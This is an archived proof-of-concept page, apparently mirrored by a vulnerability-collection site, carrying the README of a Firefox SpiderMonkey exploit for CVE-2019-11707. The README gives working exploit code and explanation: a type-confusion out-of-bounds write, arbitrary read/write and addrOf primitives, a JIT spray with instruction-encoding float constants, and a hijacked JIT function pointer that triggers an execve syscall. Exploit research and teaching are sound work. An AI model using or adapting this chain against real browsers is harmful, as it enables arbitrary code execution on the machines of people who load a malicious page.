Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2019-11707 PoC — Mozilla Firefox 代码问题漏洞

Source
Associated Vulnerability
Title:Mozilla Firefox 代码问题漏洞 (CVE-2019-11707)
Description:Mozilla Firefox是美国Mozilla基金会的一款开源Web浏览器。 Mozilla Firefox 67.0.3之前版本和Firefox ESR 60.7.1之前版本中的Array.pop文件存在代码问题漏洞。攻击者可利用该漏洞造成拒绝服务(崩溃)。
Description
https://bugs.chromium.org/p/project-zero/issues/detail?id=1820
Readme
# SpiderMonkey - CVE-2019-11707

Bug: https://bugs.chromium.org/p/project-zero/issues/detail?id=1820

## Screenshots

![source](./screenshots/source.png)

![exploit](./screenshots/exploit.png)

## Files

- `exploit.js` - Actual exploit, prepended by saelo's `util.js` & `Int64.js`.
- `stager.js` - Used for creating constants, prepended by saelo's `util.js` & `Int64.js`.
- `stager.py` - Used to assemble instructions using keystone. Output is fed to `stager.js`.

## Exploit Overview

- Use the type confusion to write beyond a typed array buffer (done in `setup()`).

```javascript
const exploit_pack = [
  new Uint8Array(0x10),
  new Uint8Array(0x10), // Use this [:8] to control data pointer of below array
  new Uint8Array(0x10), // Arbitrary RW array
]
```

- TLDR: Write beyond `exploit_pack[0]`'s backing buffer to data pointer field
  of `exploit_pack[1]`. Point it to address of data pointer field of `exploit_pack[2]`.

```javascript
      // setup()
      const v11 = v4.pop();
      const addr = v11[11];
      v11[11] = Add(new Int64.fromDouble(addr), 0x58).asDouble();
```

- Arbitrary RW possible, address can be set as contents of `exploit_pack[1]` which
  internally modifies data pointer of `exploit_pack[2]`. Then use `exploit_pack[2]` to
  read or write memory.

```javascript
function read(ptr) {
  read_addr = new Int64(ptr);
  // Change data pointer of exploit_pack[2]
  for (var idx=0; idx < 8; idx++) {
    exploit_pack[1][idx] = read_addr.byteAt(idx);
  }

  let bytes = exploit_pack[2].slice(0, 8);
  // Remove 0xfffe in pointer
  // bytes[7] = 0x00; bytes[6] = 0x00;
  obj_addr = new Int64(bytes);
  // console.log(obj_addr);
  return obj_addr;
  // console.log(new Int64(obj_addr));
}

function write(ptr, value) {
  let addr = new Int64(ptr);
  let bytes = new Int64(value);

  // Change data pointer of exploit_pack[2]
  for (var idx=0; idx < 8; idx++) {
    exploit_pack[1][idx] = addr.byteAt(idx);
  }

  for (var idx=0; idx < 8; idx++) {
    exploit_pack[2][idx] = bytes.byteAt(idx);
  }
}
```

- Using `exploit_pack` itself, construct a `addrOf` primitive.

```javascript
function addrOf(obj) {
  exploit_pack[3] = obj;

  // Change data pointer of exploit_pack[2]
  for (var idx=0; idx < 8; idx++) {
    exploit_pack[1][idx] = leaking_addr.byteAt(idx);
  }

  let bytes = exploit_pack[2].slice(0, 8);
  // Remove 0xfffe in pointer
  bytes[7] = 0x00; bytes[6] = 0x00;
  obj_addr = new Int64(bytes);
  // console.log(obj_addr);
  return obj_addr;
  // console.log(new Int64(obj_addr));
}
```

- Do a baseline JIT spray, traverse some structures to get jit function pointer,
  find interesting offset to jump. Overwrite the actual function pointer with this offset.

### JIT Spray

- In short, we can force functions like below into `r-x` pages.

```javascript
const stager = function (a, b, c, d) {
  const rax = a;
  const rdi = b;
  const rsi = c;
  const rdx = d;

  const g0 = 9.073632937307107e-271;
  const g1 = 1.6063957816990143e-270;
  const g2 = 1.6082444981830348e-270;
  const g3 = 1.6100929890177583e-270;
  const g4 = 1.6119413952339954e-270;
  const g5 = 1.68020602465e-313;
}
```

- This looks something like below after jit. You can see our constant `0xdeadc0debaad`.

![Actual JIT](./screenshots/actual_jit.png)

```asm
gef➤  disas /r 0x0000085a6e604531,+20
Dump of assembler code from 0x85a6e604531 to 0x85a6e604545:
   0x0000085a6e604531:  49 bb 80 ad ba de c0 ad de 07   movabs r11,0x7deadc0debaad80
   0x0000085a6e60453b:  4c 89 5d a8                      mov    QWORD PTR [rbp-0x58],r11
   0x0000085a6e60453f:  49 bb c0 48 8b 44 24 28 eb 07   movabs r11,0x7eb2824448b48c0
End of assembler dump.
```

- If same bytes are started to be parsed as instructions from a different offset like below,
  everything changes. This is essense of JIT spray.

![Offset JIT](./screenshots/offset_jit.png)

```asm
gef➤  disas /r 0x0000085a6e604542,+10
Dump of assembler code from 0x85a6e604542 to 0x85a6e604556:
   0x0000085a6e604542:  48 8b 44 24 28  mov    rax,QWORD PTR [rsp+0x28]
   0x0000085a6e604547:  eb 07           jmp    0x85a6e604550
End of assembler dump.
```

- Idea is to work around `4c 89 5d XX 49 bb 00` bytes somehow with 7 bytes that we control.
  We can jump over these bytes using a relative jmp.

```bash
$ rasm2 -a x86 -b 64 "jmp 7"
eb05
```

- So a relative jmp takes 2 bytes, we have 5 bytes to write our assembly instructions. JIT
  function parameters are available at an offset on stack when our function is called. Hence
  our JIT function was taking parameters.

![registers](./screenshots/registers.png)

- As per X86-64 calling convention for syscalls on linux, we need following things in registers
  for a `execve` syscall.

```
rax: syscall number
rdi: program path
rsi: argv
rdx: envp
```

- Following `mov` instructions are a blessing to move values from an offset on stack to relevant
  registers. It is exactly of 5 bytes.

```bash
$ rasm2 -a x86 -b 64 "mov rdi, QWORD [rsp + 0x28]"
488b442428
```

- So, we can construct our constants. Refer to `stager.py -> stager.js` to see how those were
  generated.

- Just overwrite the actual JIT function pointer in object structure and replace it with offset.
  Call the function with parameters.

```javascript
write(jitGetter, jmpOffset);
stager(
  new Int64(59).asDouble(),
  new Int64(pathAddr).asDouble(),
  new Int64(argvBufferAddr).asDouble(),
  new Int64(environBufferAddr).asDouble());
```

- Given the way stager is written, it is easy to do any syscall, with 3 arguments.


[source]: https://ftp.mozilla.org/pub/firefox/releases/66.0.3/

## Super Useful links

- https://doar-e.github.io/blog/2018/11/19/introduction-to-spidermonkey-exploitation/
- https://doar-e.github.io/blog/2019/06/17/a-journey-into-ionmonkey-root-causing-cve-2019-9810/
- https://vigneshsrao.github.io/writeup/
- https://github.com/saelo/jscpwn
File Snapshot

[4.0K] /data/pocs/9a2a2113295d2c51f2fe71a26cc6a2eadf3462d1 ├── [ 12K] exploit.js ├── [5.7K] README.md ├── [4.0K] screenshots │   ├── [ 70K] actual_jit.png │   ├── [111K] exploit.png │   ├── [ 55K] offset_jit.png │   ├── [ 47K] registers.png │   └── [139K] source.png ├── [7.1K] stager.js └── [1.1K] stager.py 1 directory, 9 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.